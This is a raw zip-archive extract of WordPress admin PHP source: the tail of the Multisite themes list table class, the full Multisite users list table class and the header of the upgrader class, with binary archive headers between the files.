		return 'name';
	}

/**
	 *
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( !$count )
				continue;

switch ( $type ) {
				case 'all':
					$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'themes' );
					break;
				case 'enabled':
					$text = _n( 'Enabled <span class="count">(%s)</span>', 'Enabled <span class="count">(%s)</span>', $count );
					break;
				case 'disabled':
					$text = _n( 'Disabled <span class="count">(%s)</span>', 'Disabled <span class="count">(%s)</span>', $count );
					break;
				case 'upgrade':
					$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count );
					break;
				case 'broken' :
					$text = _n( 'Broken <span class="count">(%s)</span>', 'Broken <span class="count">(%s)</span>', $count );
					break;
			}

if ( $this->is_site_themes )
				$url = 'site-themes.php?id=' . $this->site_id;
			else
				$url = 'themes.php';

if ( 'search' != $type ) {
				$status_links[$type] = sprintf( "<a href='%s'%s>%s</a>",
					esc_url( add_query_arg('theme_status', $type, $url) ),
					( $type === $status ) ? ' class="current" aria-current="page"' : '',
					sprintf( $text, number_format_i18n( $count ) )
				);
			}
		}

return $status_links;
	}

/**
	 * @global string $status
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

$actions = array();
		if ( 'enabled' != $status )
			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
		if ( 'disabled' != $status )
			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
		if ( ! $this->is_site_themes ) {
			if ( current_user_can( 'update_themes' ) )
				$actions['update-selected'] = __( 'Update' );
			if ( current_user_can( 'delete_themes' ) )
				$actions['delete-selected'] = __( 'Delete' );
		}
		return $actions;
	}

/**
	 */
	public function display_rows() {
		foreach ( $this->items as $theme )
			$this->single_row( $theme );
	}

/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_cb( $theme ) {
		$checkbox_id = 'checkbox_' . md5( $theme->get('Name') );
		?>
		<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $theme->get_stylesheet() ) ?>" id="<?php echo $checkbox_id ?>" />
		<label class="screen-reader-text" for="<?php echo $checkbox_id ?>" ><?php _e( 'Select' ) ?>  <?php echo $theme->display( 'Name' ) ?></label>
		<?php
	}

/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global int    $page
	 * @global string $s
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_name( $theme ) {
		global $status, $page, $s;

$context = $status;

if ( $this->is_site_themes ) {
			$url = "site-themes.php?id={$this->site_id}&amp;";
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$url = 'themes.php?';
			$allowed = $theme->is_allowed( 'network' );
		}

// Pre-order.
		$actions = array(
			'enable' => '',
			'disable' => '',
			'delete' => ''
		);

$stylesheet = $theme->get_stylesheet();
		$theme_key = urlencode( $stylesheet );

if ( ! $allowed ) {
			if ( ! $theme->errors() ) {
				$url = add_query_arg( array(
					'action' => 'enable',
					'theme'  => $theme_key,
					'paged'  => $page,
					's'      => $s,
				), $url );

if ( $this->is_site_themes ) {
					/* translators: %s: theme name */
					$aria_label = sprintf( __( 'Enable %s' ), $theme->display( 'Name' ) );
				} else {
					/* translators: %s: theme name */
					$aria_label = sprintf( __( 'Network Enable %s' ), $theme->display( 'Name' ) );
				}

$actions['enable'] = sprintf( '<a href="%s" class="edit" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( $url, 'enable-theme_' . $stylesheet ) ),
					esc_attr( $aria_label ),
					( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) )
				);
			}
		} else {
			$url = add_query_arg( array(
				'action' => 'disable',
				'theme'  => $theme_key,
				'paged'  => $page,
				's'      => $s,
			), $url );

if ( $this->is_site_themes ) {
				/* translators: %s: theme name */
				$aria_label = sprintf( __( 'Disable %s' ), $theme->display( 'Name' ) );
			} else {
				/* translators: %s: theme name */
				$aria_label = sprintf( __( 'Network Disable %s' ), $theme->display( 'Name' ) );
			}

$actions['disable'] = sprintf( '<a href="%s" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'disable-theme_' . $stylesheet ) ),
				esc_attr( $aria_label ),
				( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) )
			);
		}

if ( ! $allowed && current_user_can( 'delete_themes' ) && ! $this->is_site_themes && $stylesheet != get_option( 'stylesheet' ) && $stylesheet != get_option( 'template' ) ) {
			$url = add_query_arg( array(
				'action'       => 'delete-selected',
				'checked[]'    => $theme_key,
				'theme_status' => $context,
				'paged'        => $page,
				's'            => $s,
			), 'themes.php' );

/* translators: %s: theme name */
			$aria_label = sprintf( _x( 'Delete %s', 'theme' ), $theme->display( 'Name' ) );

$actions['delete'] = sprintf( '<a href="%s" class="delete" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'bulk-themes' ) ),
				esc_attr( $aria_label ),
				__( 'Delete' )
			);
		}
		/**
		 * Filters the action links displayed for each theme in the Multisite
		 * themes list table.
		 *
		 * The action links displayed are determined by the theme's status, and
		 * which Multisite themes list table is being displayed - the Network
		 * themes list table (themes.php), which displays all installed themes,
		 * or the Site themes list table (site-themes.php), which displays the
		 * non-network enabled themes when editing a site in the Network admin.
		 *
		 * The default action links for the Network themes list table include
		 * 'Network Enable', 'Network Disable', and 'Delete'.
		 *
		 * The default action links for the Site themes list table include
		 * 'Enable', and 'Disable'.
		 *
		 * @since 2.8.0
		 *
		 * @param array    $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );

/**
		 * Filters the action links of a specific theme in the Multisite themes
		 * list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, which in most cases is synonymous
		 * with the template name.
		 *
		 * @since 3.1.0
		 *
		 * @param array    $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, $context );

echo $this->row_actions( $actions, true );
	}

/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_description( $theme ) {
		global $status, $totals;
		if ( $theme->errors() ) {
			$pre = $status === 'broken' ? __( 'Broken Theme:' ) . ' ' : '';
			echo '<p><strong class="error-message">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
		}

if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) )
			$class .= ' update';

echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
			<div class='$class second theme-version-author-uri'>";

$stylesheet = $theme->get_stylesheet();
		$theme_meta = array();

if ( $theme->get('Version') ) {
			$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display('Version') );
		}
		$theme_meta[] = sprintf( __( 'By %s' ), $theme->display('Author') );

if ( $theme->get('ThemeURI') ) {
			/* translators: %s: theme name */
			$aria_label = sprintf( __( 'Visit %s homepage' ), $theme->display( 'Name' ) );

$theme_meta[] = sprintf( '<a href="%s" aria-label="%s">%s</a>',
				$theme->display( 'ThemeURI' ),
				esc_attr( $aria_label ),
				__( 'Visit Theme Site' )
			);
		}
		/**
		 * Filters the array of row meta for each theme in the Multisite themes
		 * list table.
		 *
		 * @since 3.1.0
		 *
		 * @param array    $theme_meta An array of the theme's metadata,
		 *                             including the version, author, and
		 *                             theme URI.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );
		echo implode( ' | ', $theme_meta );

echo '</div>';
	}

/**
	 * Handles default column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $theme       The current WP_Theme object.
	 * @param string   $column_name The current column name.
	 */
	public function column_default( $theme, $column_name ) {
		$stylesheet = $theme->get_stylesheet();

/**
		 * Fires inside each custom column of the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $column_name Name of the column.
		 * @param string   $stylesheet  Directory name of the theme.
		 * @param WP_Theme $theme       Current WP_Theme object.
		 */
		do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
	}

/**
	 * Handles the output for a single table row.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $item The current WP_Theme object.
	 */
	public function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
			if ( in_array( $column_name, $hidden ) ) {
				$extra_classes .= ' hidden';
			}

switch ( $column_name ) {
				case 'cb':
					echo '<th scope="row" class="check-column">';

$this->column_cb( $item );

echo '</th>';
					break;

case 'name':

$active_theme_label = '';

/* The presence of the site_id property means that this is a subsite view and a label for the active theme needs to be added */
					if ( ! empty( $this->site_id ) ) {
						$stylesheet = get_blog_option( $this->site_id, 'stylesheet' );
						$template   = get_blog_option( $this->site_id, 'template' );

/* Add a label for the active template */
						if ( $item->get_template() === $template ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Theme' );
						}

/* In case this is a child theme, label it properly */
						if ( $stylesheet !== $template && $item->get_stylesheet() === $stylesheet) {
							$active_theme_label = ' &mdash; ' . __( 'Active Child Theme' );
						}
					}

echo "<td class='theme-title column-primary{$extra_classes}'><strong>" . $item->display( 'Name' ) . $active_theme_label . '</strong>';

$this->column_name( $item );

echo "</td>";
					break;

case 'description':
					echo "<td class='column-description desc{$extra_classes}'>";

$this->column_description( $item );

echo '</td>';
					break;

default:
					echo "<td class='$column_name column-$column_name{$extra_classes}'>";

$this->column_default( $item, $column_name );

echo "</td>";
					break;
			}
		}
	}

/**
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme
	 */
	public function single_row( $theme ) {
		global $status, $totals;

if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

$stylesheet = $theme->get_stylesheet();

$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

printf( '<tr class="%s" data-slug="%s">',
			esc_attr( $class ),
			esc_attr( $stylesheet )
		);

$this->single_row_columns( $theme );

echo "</tr>";

if ( $this->is_site_themes )
			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );

/**
		 * Fires after each row in the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( 'after_theme_row', $stylesheet, $theme, $status );

/**
		 * Fires after each specific row in the Multisite themes list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, most often synonymous with the template
		 * name of the theme.
		 *
		 * @since 3.5.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( "after_theme_row_{$stylesheet}", $stylesheet, $theme, $status );
	}
}
PK�������!��G*2��*2��)��includes/class-wp-ms-users-list-table.phpnu��[�����������<?php
/**
 * List Table API: WP_MS_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table for the network admin.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_MS_Users_List_Table extends WP_List_Table {
	/**
	 *
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_network_users' );
	}

/**
	 *
	 * @global string $usersearch
	 * @global string $role
	 * @global wpdb   $wpdb
	 * @global string $mode
	 */
	public function prepare_items() {
		global $usersearch, $role, $wpdb, $mode;

$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

$users_per_page = $this->get_items_per_page( 'users_network_per_page' );

$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

$paged = $this->get_pagenum();

$args = array(
			'number' => $users_per_page,
			'offset' => ( $paged-1 ) * $users_per_page,
			'search' => $usersearch,
			'blog_id' => 0,
			'fields' => 'all_with_meta'
		);

if ( wp_is_large_network( 'users' ) ) {
			$args['search'] = ltrim( $args['search'], '*' );
		} else if ( '' !== $args['search'] ) {
			$args['search'] = trim( $args['search'], '*' );
			$args['search'] = '*' . $args['search'] . '*';
		}

if ( $role === 'super' ) {
			$logins = implode( "', '", get_super_admins() );
			$args['include'] = $wpdb->get_col( "SELECT ID FROM $wpdb->users WHERE user_login IN ('$logins')" );
		}

/*
		 * If the network is large and a search is not being performed,
		 * show only the latest users with no paging in order to avoid
		 * expensive count queries.
		 */
		if ( !$usersearch && wp_is_large_network( 'users' ) ) {
			if ( !isset($_REQUEST['orderby']) )
				$_GET['orderby'] = $_REQUEST['orderby'] = 'id';
			if ( !isset($_REQUEST['order']) )
				$_GET['order'] = $_REQUEST['order'] = 'DESC';
			$args['count_total'] = false;
		}

if ( isset( $_REQUEST['orderby'] ) )
			$args['orderby'] = $_REQUEST['orderby'];

if ( isset( $_REQUEST['order'] ) )
			$args['order'] = $_REQUEST['order'];

if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = $_REQUEST['mode'] === 'excerpt' ? 'excerpt' : 'list';
			set_user_setting( 'network_users_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'network_users_list_mode', 'list' );
		}

/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		$args = apply_filters( 'users_list_table_query_args', $args );

// Query the user IDs for this page
		$wp_user_search = new WP_User_Query( $args );

$this->items = $wp_user_search->get_results();

$this->set_pagination_args( array(
			'total_items' => $wp_user_search->get_total(),
			'per_page' => $users_per_page,
		) );
	}

/**
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_users' ) )
			$actions['delete'] = __( 'Delete' );
		$actions['spam'] = _x( 'Mark as Spam', 'user' );
		$actions['notspam'] = _x( 'Not Spam', 'user' );

return $actions;
	}

/**
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

/**
	 *
	 * @global string $role
	 * @return array
	 */
	protected function get_views() {
		global $role;

$total_users = get_user_count();
		$super_admins = get_super_admins();
		$total_admins = count( $super_admins );

$current_link_attributes = $role !== 'super' ? ' class="current" aria-current="page"' : '';
		$role_links = array();
		$role_links['all'] = "<a href='" . network_admin_url( 'users.php' ) . "'$current_link_attributes>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
		$current_link_attributes = $role === 'super' ? ' class="current" aria-current="page"' : '';
		$role_links['super'] = "<a href='" . network_admin_url( 'users.php?role=super' ) . "'$current_link_attributes>" . sprintf( _n( 'Super Admin <span class="count">(%s)</span>', 'Super Admins <span class="count">(%s)</span>', $total_admins ), number_format_i18n( $total_admins ) ) . '</a>';

return $role_links;
	}

/**
	 * @global string $mode List table view mode.
	 *
	 * @param string $which
	 */
	protected function pagination( $which ) {
		global $mode;

parent::pagination ( $which );

if ( 'top' === $which ) {
			$this->view_switcher( $mode );
		}
	}

/**
	 *
	 * @return array
	 */
	public function get_columns() {
		$users_columns = array(
			'cb'         => '<input type="checkbox" />',
			'username'   => __( 'Username' ),
			'name'       => __( 'Name' ),
			'email'      => __( 'Email' ),
			'registered' => _x( 'Registered', 'user' ),
			'blogs'      => __( 'Sites' )
		);
		/**
		 * Filters the columns displayed in the Network Admin Users list table.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param array $users_columns An array of user columns. Default 'cb', 'username',
		 *                             'name', 'email', 'registered', 'blogs'.
		 */
		return apply_filters( 'wpmu_users_columns', $users_columns );
	}

/**
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'username'   => 'login',
			'name'       => 'name',
			'email'      => 'email',
			'registered' => 'id',
		);
	}

/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_cb( $user ) {
		if ( is_super_admin( $user->ID ) ) {
			return;
		}
		?>
		<label class="screen-reader-text" for="blog_<?php echo $user->ID; ?>"><?php echo sprintf( __( 'Select %s' ), $user->user_login ); ?></label>
		<input type="checkbox" id="blog_<?php echo $user->ID ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ) ?>" />
		<?php
	}

/**
	 * Handles the ID column output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_id( $user ) {
		echo $user->ID;
	}

/**
	 * Handles the username column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_username( $user ) {
		$super_admins = get_super_admins();
		$avatar	= get_avatar( $user->user_email, 32 );
		$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );

echo $avatar;

?><strong><a href="<?php echo $edit_link; ?>" class="edit"><?php echo $user->user_login; ?></a><?php
		if ( in_array( $user->user_login, $super_admins ) ) {
			echo ' &mdash; ' . __( 'Super Admin' );
		}
		?></strong>
	<?php
	}

/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_name( $user ) {
		if ( $user->first_name && $user->last_name ) {
			echo "$user->first_name $user->last_name";
		} elseif ( $user->first_name ) {
			echo $user->first_name;
		} elseif ( $user->last_name ) {
			echo $user->last_name;
		} else {
			echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . _x( 'Unknown', 'name' ) . '</span>';
		}
	}

/**
	 * Handles the email column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_email( $user ) {
		echo "<a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a>";
	}

/**
	 * Handles the registered date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_registered( $user ) {
		global $mode;
		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}
		echo mysql2date( $date, $user->user_registered );
	}

/**
	 * @since 4.3.0
	 *
	 * @param WP_User $user
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_blogs( $user, $classes, $data, $primary ) {
		echo '<td class="', $classes, ' has-row-actions" ', $data, '>';
		echo $this->column_blogs( $user );
		echo $this->handle_row_actions( $user, 'blogs', $primary );
		echo '</td>';
	}

/**
	 * Handles the sites column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_blogs( $user ) {
		$blogs = get_blogs_of_user( $user->ID, true );
		if ( ! is_array( $blogs ) ) {
			return;
		}

foreach ( $blogs as $val ) {
			if ( ! can_edit_network( $val->site_id ) ) {
				continue;
			}

$path	= ( $val->path === '/' ) ? '' : $val->path;
			echo '<span class="site-' . $val->site_id . '" >';
			echo '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . str_replace( '.' . get_network()->domain, '', $val->domain . $path ) . '</a>';
			echo ' <small class="row-actions">';
			$actions = array();
			$actions['edit'] = '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . __( 'Edit' ) . '</a>';

$class = '';
			if ( $val->spam == 1 ) {
				$class .= 'site-spammed ';
			}
			if ( $val->mature == 1 ) {
				$class .= 'site-mature ';
			}
			if ( $val->deleted == 1 ) {
				$class .= 'site-deleted ';
			}
			if ( $val->archived == 1 ) {
				$class .= 'site-archived ';
			}

$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $val->userblog_id ) ) . '">' . __( 'View' ) . '</a>';

/**
			 * Filters the action links displayed next the sites a user belongs to
			 * in the Network Admin Users list table.
			 *
			 * @since 3.1.0
			 *
			 * @param array $actions     An array of action links to be displayed.
			 *                           Default 'Edit', 'View'.
			 * @param int   $userblog_id The site ID.
			 */
			$actions = apply_filters( 'ms_user_list_site_actions', $actions, $val->userblog_id );

$i=0;
			$action_count = count( $actions );
			foreach ( $actions as $action => $link ) {
				++$i;
				$sep = ( $i == $action_count ) ? '' : ' | ';
				echo "<span class='$action'>$link$sep</span>";
			}
			echo '</small></span><br/>';
		}
	}

/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user       The current WP_User object.
	 * @param string $column_name The current column name.
	 */
	public function column_default( $user, $column_name ) {
		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
	}

public function display_rows() {
		foreach ( $this->items as $user ) {
			$class = '';

$status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted' );

foreach ( $status_list as $status => $col ) {
				if ( $user->$status ) {
					$class .= " $col";
				}
			}

?>
			<tr class="<?php echo trim( $class ); ?>">
				<?php $this->single_row_columns( $user ); ?>
			</tr>
			<?php
		}
	}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'username'.
	 */
	protected function get_default_primary_column_name() {
		return 'username';
	}

/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 *
	 * @param object $user        User being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for users in Multisite.
	 */
	protected function handle_row_actions( $user, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

$super_admins = get_super_admins();
		$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );

$actions = array();
		$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';

if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins ) ) {
			$actions['delete'] = '<a href="' . $delete = esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
		}

/**
		 * Filters the action links displayed under each user in the Network Admin Users list table.
		 *
		 * @since 3.2.0
		 *
		 * @param array   $actions An array of action links to be displayed.
		 *                         Default 'Edit', 'Delete'.
		 * @param WP_User $user    WP_User object.
		 */
		$actions = apply_filters( 'ms_user_row_actions', $actions, $user );
		return $this->row_actions( $actions );
	}
}
PK�������!���Ky���y�����includes/class-wp-upgrader.phpnu��[�����������<?php
/**
 * Upgrade API: WP_Upgrader class
 *
 * Requires skin classes and WP_Upgrader subclasses for backward compatibility.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */